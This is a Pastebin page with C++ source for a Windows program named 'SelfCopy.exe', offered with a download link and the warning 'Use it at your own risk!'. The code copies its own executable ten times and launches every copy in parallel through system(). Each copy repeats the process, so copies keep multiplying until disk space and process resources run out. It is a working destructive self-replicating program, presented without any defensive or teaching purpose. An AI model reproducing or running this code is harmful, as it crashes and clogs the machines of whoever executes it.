Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- http://www.solidfiles.com/d/327096a92b/SelfCopy.exe
- Use it at your own risk!
- */
- #include <iostream>
- #include <string>
- #include <thread>
- #define APPS (10)
- int result[APPS];
- std::string file_name[APPS];
- void execute_file(unsigned int index)
- {
- result[index] = system(file_name[index].c_str());
- }
- int main(int argc, char *argv[])
- {
- int ret = 0, i, j;
- FILE *r_file = NULL, *w_file[APPS];
- long long file_size;
- char *buf = NULL;
- std::thread *t[APPS];
- memset(result, 0, sizeof(int) * APPS);
- memset(w_file, 0, sizeof(FILE *) * APPS);
- memset(t, 0, sizeof(std::thread *) * APPS);
- for (i = 0; i < APPS; i++)
- {
- file_name[i] = argv[0];
- for (j = 0; j < 4; j++) file_name[i].pop_back();
- file_name[i].push_back('0'+((char)i));
- file_name[i] += ".exe";
- }
- fopen_s(&r_file, argv[0], "rb");
- if (r_file)
- {
- fseek(r_file, 0, SEEK_END);
- file_size = _ftelli64(r_file);
- fseek(r_file, 0, SEEK_SET);
- try
- {
- buf = new char[file_size];
- }
- catch (...)
- {
- buf = NULL;
- }
- if (buf)
- {
- if (fread_s(buf, file_size * sizeof(char), sizeof(char), file_size, r_file) == file_size)
- {
- for (i = 0; i < APPS; i++)
- {
- fopen_s(&(w_file[i]), file_name[i].c_str(), "wb");
- if (w_file[i])
- {
- if (fwrite(buf, sizeof(char), file_size, w_file[i]) != file_size) ret = 5;
- fclose(w_file[i]);
- }
- else ret = 4;
- }
- }
- else ret = 3;
- delete[] buf;
- }
- else ret = 2;
- fclose(r_file);
- }
- else ret = 1;
- if (ret == 0)
- {
- for (i = 0; i < APPS; i++)
- {
- try
- {
- t[i] = new std::thread(execute_file, i);
- }
- catch (...)
- {
- t[i] = NULL;
- }
- }
- for (i = 0; i < APPS; i++)
- {
- if (t[i])
- {
- t[i]->join();
- if (result[i]) ret = 7;
- delete t[i];
- }
- else ret = 6;
- }
- }
- return ret;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement